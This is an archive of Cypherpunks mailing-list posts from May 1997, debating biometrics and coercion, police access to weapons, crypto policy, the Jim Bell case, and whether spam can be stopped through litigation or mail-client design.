> a non-biometric system is greater than that of the lives of the people who
> are lost when fraud does occur. This is a despicable situation, but don't
> think you won't see it. It is probably inevitable now. 

You don't have to kill or maim some to induce cooperation, and
biometric devices can be designed to pretty much require that the
subject be living.  Extortion or seduction are both quite viable, and 
work with any security system.  Biometrics don't really add 
anything.

Your point is just as meaningful for cryptography.  All strong crypto 
does is move the weak spot around.

Incidentally, I have heard (from a probably reliable source) that the
best biometric is a retina scan -- very reliable, hard to spoof,
*very* few false negatives.  [False positives are real bad for any
security system, of course.  False negatives are why you want back up
modes of access.]

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Thu May 22 23:40:38 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 23 May 1997 14:40:38 +0800
Subject: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: <19970522232331.08458@bywater.songbird.com>


On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:
> Hi,
> 
> It occured to me that if the police have no civil liberties extending beyond
> that of a citizen and citizens are not legaly permitted access to military
> hardware then neither should the police.
[...]
> If a police officer can buy body armor and automatic weapons for self
> defence then so can a citizen.

[...]

> Do police have any civil rights not endowed to a individual citizen?

No.  But on the job, doing their state assigned duties, they have
access to instrumentalities not available to private citizens or
off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
in practice, but the principle is clear.  It isn't a big deal, and
it's not a matter of civil rights.  A license to practice medicine
gives you the ability to prescribe morphine.  A certain class of
drivers license lets you drive a school bus full of children. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Thu May 22 23:41:02 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 23 May 1997 14:41:02 +0800
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232759.0068cfb4@cnw.com>


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc






From dichro at yodel.iinet.net.au  Thu May 22 23:42:55 1997
From: dichro at yodel.iinet.net.au (Mikolaj J. Habryn)
Date: Fri, 23 May 1997 14:42:55 +0800
Subject: New Chip Verifies Fingerprints (fwd)
In-Reply-To: 
Message-ID: 


>>>>> "D6" == Decius 6i5  writes:

    D6> If I get mugged and the mugger wants access to my bank account
    D6> all he has to do is chop off the relevant finger. Don't
    D6> laugh. This *WILL* happen.  Biometrics create an general
    D6> economic incentive for maiming or murdering people.

  Not to detract from your philosophical point, but I saw a
demonstration of a similar device over six years ago which not only
sampled the fingerprint pattern, but also the blood vessels beneath
the skin and blood flow patterns. The intent was, obviously, to
increase the difficulty level of creating a synthetic replacement, but
an (incidental?) advantage is that cutting off the finger in question
and presenting it without a blood supply would not work. While it is
still feasible to attach artificial blood pumping mechanisms etc, it
is no longer a $20 equipment budget.

    D6> I will take you one further... *When you implement a biometric
    D6> system you are deciding that the value of that which is being
    D6> protected is greater than the value of the lives of the people
    D6> who have access to it.*

  Once again, this assumes that the biometric system does not require
a living breathing subject to work upon. This is not necessarily a
valid assumption. Whilst the simpler systems may indeed be fooled
(although that is perhaps not the best term) by morbid samples, it is
certainly feasible to require living tissue.

  The remainder of your argument, which I shan't quote, likewise
revolves around the assertion that killing someone will always gain
you the access you desire. This is untrue. If you wish to push this
further, you could add stress analysis features to catch people
operating under coercion, and quick blood sampling to catch those
drugged into placidity who would otherwise be stressed (and
incidentally, any substance abuse that you might be interested in).

    D6> One additional point. The possibilities for surveilance
    D6> inherent in biometrics are fearsome. If I managed to compile a
    D6> large database of people's names, social security numbers, and
    D6> face prints; I could set up a closed circuit camera system in
    D6> my store which would provide me with the name, home address,
    D6> credit, and other information about every person who enters my
    D6> business, AUTOMATICALLY, without the customers even being
    D6> cognisant that this is going on. The marketing people will be
    D6> going nutz over this possibility. I'm going to the drug store
    D6> for some Pepto...

  Now, this /is/ an important concern. However, there's little way
around it. Authentication revolves around, in most cases, a high
assurance of the identity of something. The technique of
authentication is less of a concern than the possibilities of linking
diverse records together into a single database - and that is a more
interesting problem to try to solve.

m.






From tomw at netscape.com  Fri May 23 00:00:05 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Fri, 23 May 1997 15:00:05 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <33853CBA.2781@netscape.com>


Alan Olsen wrote:
> 
> In late April 1984, someone broke into law offices at 1123 S. W.
> Yamhill St. and poured a liquid on a hallway run that was so
> odorous it made at least one of the lawyers who smelled it vomit
> twice.

What's the statute of limitations on stink bombs?  Surely, it's too
late to prosecute him for this?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From jamesd at echeque.com  Fri May 23 00:11:56 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Fri, 23 May 1997 15:11:56 +0800
Subject: FCPUNX:The USA is the world's biggest terrorist state
Message-ID: <199705230643.XAA01877@proxy4.ba.best.com>


At 02:56 PM 5/21/97 -0700, Steve Schear wrote:
> The US is in very real danger of reaping the same sort of maelstrom that
> vanquished the Romans.  They were also very powerful, with tentacles
> reaching almost to the limits of their known world, before a combination of
> internal decay and dissention and reprisal from those vanquished put them
> asunder.

Regrettably, this depiction of the fall of the Roman Empire is incorrect.

During the last period of the Roman empire in the west, the empire was
both very weak, and extraordinarily brutal to its subjects, torturing
to death huge numbers of people on a scale no seen again until the
twentieth century.

Despite this they never encountered any resistance from their terrorized
subjects.

Only free people , and people who recently were comparatively
free, rebel.

A world government would not fall until it had tortured to death
such a large proportion of the population that there was enough
wilderness to protect runaways, or until its technological level
fell so low that its communications stopped working.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From cme at cybercash.com  Fri May 23 00:45:45 1997
From: cme at cybercash.com (Carl Ellison)
Date: Fri, 23 May 1997 15:45:45 +0800
Subject: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: <3.0.1.32.19970523032158.00a8d9e0@cybercash.com>


At 02:36 AM 5/19/97 -0700, Greg Broiles wrote:
>I ran across this entry in the Congressional Record which discusses several
>examples where encryption was discovered in the course of a law enforcement
>investigation. 
>
>[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]
>
>[...]
>
>Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
>the eonomic espionage bill. This is an important measure that I believe 

[...]

>  The third case, however, especially illustrates the seriousness of 
>decryption problems--determining the unique key or in this case, 
>password from a large number of possibilities. According to Agent 
>Davis, a mere 4 character password has 1.9 million possibilities due to 
>the number of keyboard characters. Can you imagine how difficult it 
>must be to figure a short, 4 character password. What if the password 
>were 10 characters or 20 or more? It's easy to see why criminals are 
>moving toward password protection for their records.

With the congress so woefully uninformed that they confuse password 
protection with cryptography and naive enough to believe that 1.9E6 
possibilities represents a serious roadblock to entry, it looks like we have 
a major education effort to perform.

It is interesting that there were no examples in this summary of crypto used 
for communications -- but that's completely consistent with what we've been 
hearing all along.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From cme at cybercash.com  Fri May 23 00:48:53 1997
From: cme at cybercash.com (Carl Ellison)
Date: Fri, 23 May 1997 15:48:53 +0800
Subject: LSE UK crypto politics conference
In-Reply-To: <199705211857.LAA23752@comsec.com>
Message-ID: <3.0.1.32.19970522182357.00ab9d80@cybercash.com>


At 11:03 PM 5/20/97 +0100, Adam Back wrote:
>Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
>Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
>Caspar Bowden, Scientists for Labour.

The person from TIS was Brian Gladman.
BTW, he wrote an open letter response to the DTI proposal which
is on the web from one of the standard Privacy sites.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From tcmay at got.net  Fri May 23 01:18:32 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 16:18:32 +0800
Subject: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: 


At 11:23 PM -0700 5/22/97, Kent Crispin wrote:
>On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:

>> Do police have any civil rights not endowed to a individual citizen?
>
>No.  But on the job, doing their state assigned duties, they have
>access to instrumentalities not available to private citizens or
>off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
>in practice, but the principle is clear.  It isn't a big deal, and
>it's not a matter of civil rights.  A license to practice medicine
>gives you the ability to prescribe morphine.  A certain class of
>drivers license lets you drive a school bus full of children.

There is a current case involving a cop who is on the verge of losing his
ability to be a cop because he pled "nolo contendre" to a domestic abuse
charge a decade or so ago. The local law says that anyone in this situation
may not have a gun, period. Thus, now that the law has caught up with him
(no details on how and why this was not known until recently) he may not
have a gun and thus may well lose his job.

This would seem to support Jim Choate's general position. (Though I have my
own skepticism that many jurisdictions think it is true.)

I have no problem with the notion that there is no weapon, no technology
which certain government officials or police may have but which civilians
are *not* allowed to have. I don't think the Founders envisioned any such
circumstances.

The usual cited case is of private ownership of nuclear weapons. For an
interesting treatment of this, see Vernor Vinge's "The Ungoverned." I'm not
persuaded that the extreme cases of nuclear weapons and aircraft carriers
have much to do with anything. I certainly think "assault weapons" are
perfectly fine for individuals to own...even machine guns, which friends of
mine have owned.

(The Founders didn't know about nuclear weapons and biological weapons, but
they surely knew about various other deadly compounds, including deadly
poisons and the like. And yet there is no mention in the Constitution or
related papers that some of these substances may be owned by the police but
not by citizens. "Forbidden knowledge" is the relevant concept here. Of
course, what do you expect from a system which outlaws gambling but then
has the State running gambling operations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri May 23 01:22:11 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 16:22:11 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: 


At 11:44 PM -0700 5/22/97, Tom Weinstein wrote:
>Alan Olsen wrote:
>>
>> In late April 1984, someone broke into law offices at 1123 S. W.
>> Yamhill St. and poured a liquid on a hallway run that was so
>> odorous it made at least one of the lawyers who smelled it vomit
>> twice.
>
>What's the statute of limitations on stink bombs?  Surely, it's too
>late to prosecute him for this?
>

Good point! This didn't even occur to me (nor apparently to the writer of
the article, nor maybe even to the cops).

It sure looks like they're trying to throw a bunch of charges against the
wall and hope that some of them stick...or scare Bell into pleading to a
lesser charge, etc.

Seems to me a good attorney could carefully dissect the "innuendo charges"
(e.g., undermining the government, stink bombs long in the past, manifestos
calling for AP, etc.) and separate them from each other, leaving very
little of substance to get a conviction on.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Fri May 23 01:33:43 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 16:33:43 +0800
Subject: Not that I'm a troublemaker, but...
Message-ID: <199705230755.AAA00034@fat.doobie.com>


I was watching the national news broadcast a picture of the key to
the Ryder truck that was purportedly found near where McVeigh's car
was allegedly parked.
  I thought it would be an interesting project for someone with the
proper technological tools to take the picture and add a graphic of
the "bloody glove" beside it.

Key Asscrole







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From: Gina at vol.it (Gina at vol.it)
Date: Fri, 23 May 1997 16:59:11 -0700 (PDT)
Subject: For Adults Only!
Message-ID: 


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From se7en at dis.org  Fri May 23 02:04:06 1997
From: se7en at dis.org (se7en)
Date: Fri, 23 May 1997 17:04:06 +0800
Subject: Hacked, Trashed and Out of Beer
In-Reply-To: 
Message-ID: 




On Tue, 20 May 1997, Bill Frantz wrote:

> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

The SysAdmin for the domain has installed AccessWatch for maintaining an 
HTML version of hit statistics for the server. This application is doing 
what you mention above. There is no nefarious purpose in trying to get 
you to my page. Check out: http://www.dis.org/access to see what all the 
cookies being sent are being used for.

se7en






From aba at dcs.ex.ac.uk  Fri May 23 02:10:54 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 23 May 1997 17:10:54 +0800
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230408.XAA32582@manifold.algebra.com>
Message-ID: <199705230735.IAA00651@server.test.net>



Igor Chudov  writes:
>
> plz do not use bcc

Why not?  It is quite convenient for coping with the non-cross posting
policy of other groups.

Also what is it with the  forwards, why
are these coming to the list forwarded from that address?  Are they
things which failed your procmail filter manually forwarded
afterwards?

Adam






From lucifer at dhp.com  Fri May 23 02:12:58 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 23 May 1997 17:12:58 +0800
Subject: Spam Prevention System?
Message-ID: <199705230854.EAA23450@dhp.com>


I was wondering if perhaps a way to minimize the hassle with sitting
on one's thumb while waiting for unwanted email to download could be
eased by an email program which retreived only headers, allowed you to
delete the unwanted ones, and then retrieve the wanted ones, deleting
the rest.
  Is this feasible?







From nobody at hidden.net  Fri May 23 02:19:39 1997
From: nobody at hidden.net (Anonymous)
Date: Fri, 23 May 1997 17:19:39 +0800
Subject: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705230852.BAA32187@jefferson.hidden.net>


On Wed, May 21, 1997 at 11:32:18PM -0800, Tim May wrote:
> At 9:44 PM -0800 5/21/97, one of the KCs wrote:
> 
> >I should have posted my comment anonymously, obviously.  I appologize
> >to Mr Hun and the world for my mistake.  I must have confused him
> >with one of the TMs.
> 
> One of the TMs? How could you mistake Attila for me?

Truth Monger, Trash Mongrel, Trivia Monster, Tripe Master, Terror
Minion -- there are lot's of TMs.  Maybe they are all the same. 

KC #0  






From stewarts at ix.netcom.com  Fri May 23 02:59:03 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 23 May 1997 17:59:03 +0800
Subject: Compelling a key (fwd)
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: <3.0.1.32.19970522233520.00738744@popd.ix.netcom.com>


At 01:18 PM 5/22/97 -0400, you wrote:
>Why does everyone still have cypherpunks at toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

Cypherpunks at toad.com still forwards the list to
cypherpunks at algebra.com and cypherpunks at cyberpass.net and
probably other locations.  So you can send postings to cypherpunks at toad.com
and they'll forward on to the lists.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From mark at unicorn.com  Fri May 23 03:07:14 1997
From: mark at unicorn.com (Mark Grant)
Date: Fri, 23 May 1997 18:07:14 +0800
Subject: Forgeries are your Friend
In-Reply-To: <3.0.2.32.19970522203625.03fffe64@panix.com>
Message-ID: 



On Thu, 22 May 1997 frissell at panix.com wrote:

> So far in my close observation of the history of American jurisprudence I 
> haven't seen too many written things that were legal at one point and later 
> became (criminally) illegal. 

I was thinking more of talking about things you do which are now legal but
later banned. For example a signed admission of smoking followed by a ban
and 'war on tobacco'. Not enough to lock you away for, but possibly enough
to make you a candidate for a dawn raid by the 'jackbooted fascists'; I'm
sure that if you had a nice piece of land to seize the message would be
used as evidence to back up an 'anonymous tip' about cigarette dealing in
order to get a warrant. 

	Mark






From osborne at gateway.grumman.com  Fri May 23 03:59:52 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Fri, 23 May 1997 18:59:52 +0800
Subject: Quotation for 5/23/97
Message-ID: <3.0.1.32.19970523063805.009cb800@gateway.grumman.com>


________________________ R i c k   O s b o r n e ________________________
Today's quote of the day seems only *slightly* appropriate for this list. :)

>Before all else, be armed.                                  
>Machiavelli (1469-1527)

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it weren't for doctrine, a lot of the world's religions would get
along a lot better, because the core roots of their beliefs aren't that
dissimilar, it's the interpretation and the rules that grew up around
them that seem to cause all the trouble.
J Michael Straczynski -- Creator of _Babylon_5_






From frissell at panix.com  Fri May 23 04:20:06 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 23 May 1997 19:20:06 +0800
Subject: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523070030.03c8abfc@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

>
>Quote:
>
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about 
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>technology than all of us put together, that there is in fact technology 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.


Quite a sense of humor that.

DCF


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Date: Fri, 23 May 1997 21:36:59 -0700 (PDT)
Subject: BUSINESS CLASSIFIEDS INTERACTIVE(sm)
Message-ID: <19970524011021056.AAB66@[206.244.171.176]>


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From whgiii at amaranth.com  Fri May 23 06:52:52 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 23 May 1997 21:52:52 +0800
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech))
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <199705231330.IAA29895@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <19970522144701.16280 at bywater.songbird.com>, on 05/22/97 
   at 03:47 PM, Kent Crispin  said:

>On Thu, May 22, 1997 at 03:07:14PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>[...]
>>I as the owner of
>>certain computer equipment have the right to determin who uses such
>>equipment and how. It should be no different that my right to determin who
>>can enter my house and who can not.

>Your analogy is flawed in many ways.  1) The entities entering your 
>house have an identity; what is actually entering your computer 
>equipment is just bits, which have no identity.  Spamfords bits are  no
>different than anyone elses.  2) By the very act of connecting to  the
>network you agree to recieve any bits that are automatically  routed to
>you.

No not at all. Just because I am connected to the network I am under no
obligation to accept a single bit. I don't have to ever download any mail
or I can download all or I can pick and choose what I accept or what I
don't.

>>If I inform Spamford that he is not
>>welcome in my house and he still insists on comming in I should have some
>>recource to stop him.

>You are perfectly free to disconnect your computer from the net.  You are
>free to try to find a provider that guarantees not to pass any spam on to
>you.  But unless you have some contract with your provider that specifies
>special rights, when you sign up you implicitly agree to accept the bits
>aimed at you -- otherwise you couldn't receive any email at all.  What
>you get on the wire is a function of explicit and implicit contractual
>obligations.  This is true whether you are UUNET peering with ANS or
>whether you are a PC on a dialup line.

Obviously you have not ever entered into contract agreements with an
accesses provider. There is no obligation on my part to receive a single
bit. If I never run a sendmail daemon then I will never receive a single
e-mail message regardless of how many are aimed at my servers. This is the
same with any TCP/IP service. The only obligation I have with my upstream
provider is to pay my bill. If I choose to bounce everything that is
routed from Spamford it is my right to do so as it is *MY* equipment. 

>>
>>IMHO this can be taking care of through civil courts hitting the spamers
>>where it counts in the wallet. As far as identification this is quite
>>simple to do without the above measure.

>Identification isn't the problem at all.  The problem is that you  have
>no grounds on which to base a suit.  Just as you can't sue me for 
>sending this mail -- it's an exchange you entered into of your own  free
>will.

For the occasional spam then a lawsuit would be pointless. If you decided
to dump 10,000 messages a day and deny the use of my equipment by myself
and my clients then I would have a very strong case for litigation. You
seem to forget that this is MY equipment and it is you who have no rights
regarding the use of it. I have the final say so as to who uses it and
how.

> Even if Spamford uses tricks to
>>cover his tracks his clients are known as they tell you who they are in
>>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>>his customers in the lawsuit.
>>
>>>Yeah but he didn't kick anything in, he just used something which was
>>>setup to be used for free, in an unmetered fashion, where no contracts
>>>were agreed to before hand.
>>
>>No it was not. Just because you leave a door unlocked does not mean that
>>anyone has the right to enter. If you run into the store and forget to
>>lock the doors on your car does that mean that anyone has the right to
>>drive off in your car? If you leave the front door unlocked on your house
>>does that mean that anyone can walk in and help themselfs to the contents
>>of your house?

>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>is one of the primary uses of your computer -- and you did *not*  place
>any restrictions on that connection.  Furthermore, you can't -- 
>no one will sell you an internet connection at any level where they 
>will accept a contractual obligation to keep spam from getting to you.

Once again it is you who have it wrong. I have agreed to nothing other than to pay my bill for my connection. If Cyberpromo starts filling my clients mailboxes with spam and tieing up bandwidth I am under an obligation to my client to stop him from doing so. My obligation is to my clients to provide the services they have paid for. I would be remiss in my duties if I allowed such actions to continue both to my contractual obligations to my clients but also my feudatory responsibilities to the stockholders of my corporation.

You do not have a right to send mail to my system I have an obligation to my clients to allow them to receive mail. This is a important distinction that needs to be made. You have no rights regarding the use of my equipment. Furthermore if your actions deprive the use of my equipment by myself and my clients you can find yourself both financially and criminally liable.

>[...]

>>I never have argued for more legislation of the internet for any reason. I
>>just think that creative use of current laws can put an end to this
>>pestilance. I don't see remailers being hurt in this as the whole purpose
>>of spam is to be non-anonymous (you can't sell anything if they don't know
>>where to send the money to). I do think that litigation can be used
>>effectivly to put an end to Spamford without changing the current
>>structure of the internet.

>I don't see any legal basis for it. 



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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Tag-O-Matic: He who laughs last uses OS/2.






From frissell at panix.com  Fri May 23 07:21:03 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 23 May 1997 22:21:03 +0800
Subject: Salvador Allende meets Kevin Kelly
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523095605.03675af8@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

The Front Lines column on the Marketplace page in Today's WSJ:

http://interactive3.wsj.com/edition/current/articles/FrontLines.htm

May 23, 1997

Entrepreneurs Become Leaders In the New World, Flores Says

I FIRST HEARD the name Fernando Flores...

Before I had the chance to check out the guy, I received an e-mail 
from a former top Air Force general. He mentioned he had been deeply 
influenced by a philosopher, business consultant and onetime political 
prisoner named Fernando Flores. How often do you see those 
descriptions on the same resume?

...

Trained as an engineer, at age 28 he became finance minister in the 
Marxist regime of Salvador Allende in 1970. ....

THEN, IN 1973, ... Mr. Flores spent three years in prison brooding 
over the notion of computers for communication rather than 
computation. ...

When Amnesty International and others won his release in 1976 ...

- From the German philosopher Martin Heidegger he learned ...

"A human society," as he puts it, "operates through the expression of 
requests and promises."

A business, likewise, is a collection of simultaneous conversations, 
and every conversation involves an act of commitment. ...

Working with the computer scientist Terry Winograd, he created a 
product to transform computer workstations from solitary appliances 
into devices for tracking commitments between workers. ... 
"groupware." ...

IF DR. FLORES becomes famous for anything, it may be for a concept of 
entrepreneurialism he has described in a forthcoming book from MIT 
Press called "Disclosing New Worlds," co-authored with the 
philosophers Charles Spinosa and Hubert Dreyfus. In a time of vapid 
values and insipid politics, they say entrepreneurs are becoming the 
leaders of the world. While the typical capitalist merely forecasts 
human needs, they argue, "the entrepreneur is the person who 
determines which needs will seem important."

......



DCF


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From whgiii at amaranth.com  Fri May 23 07:44:41 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 23 May 1997 22:44:41 +0800
Subject: Spam Prevention System?
In-Reply-To: <199705230854.EAA23450@dhp.com>
Message-ID: <199705231429.JAA30660@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705230854.EAA23450 at dhp.com>, on 05/23/97 
   at 02:54 AM, lucifer at dhp.com (lucifer Anonymous Remailer) said:

>I was wondering if perhaps a way to minimize the hassle with sitting on
>one's thumb while waiting for unwanted email to download could be eased
>by an email program which retreived only headers, allowed you to delete
>the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>  Is this feasible?

